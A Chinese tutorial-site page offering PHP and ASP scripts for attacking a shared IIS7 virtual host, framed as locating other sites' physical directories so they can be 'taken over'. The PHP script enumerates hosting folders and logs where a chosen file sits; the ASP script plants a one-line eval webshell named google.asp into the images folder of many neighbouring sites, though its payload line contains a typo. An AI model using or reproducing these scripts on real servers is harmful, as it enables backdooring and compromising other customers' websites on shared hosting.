教程集 www.jiaochengji.com
教程集 >  脚本编程  >  php  >  正文 php写的寻找二层目录的小程序

php写的寻找二层目录的小程序

发布时间:2015-06-16   编辑:jiaochengji.com
iis7下的虚拟主机里有上万个站,只有脚本权限,没命令行权限,但是可以跨目录写文件。如果能得到目标站的物理目录,便可以搞定了。但是苦于无法找到物理路径,所以只能用脚本来找了。

iis7下的虚拟主机里有上万个站,只有脚本权限,没命令行权限,但是可以跨目录写文件。
如果能得到目标站的物理目录,便可以搞定了。但是苦于无法找到物理路径,所以只能用脚本来找了。
两个程序,php与asp版的,供大家学习参考。
1、php版
 

复制代码 代码如下:
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}
?>

2、asp版
 

复制代码 代码如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

您可能感兴趣的文章:
php写的寻找二层目录的小程序
PHP学习之插入排序的实现
PHP include_path 用法详解
php网页标题在哪里修改
动态网页制作规范
php写前端有什么优点和缺点
php基础算法有哪几种
python shell是什么
为什么大部分程序员看不起php语言?
PHP面试踩过的坑

[关闭]
~ ~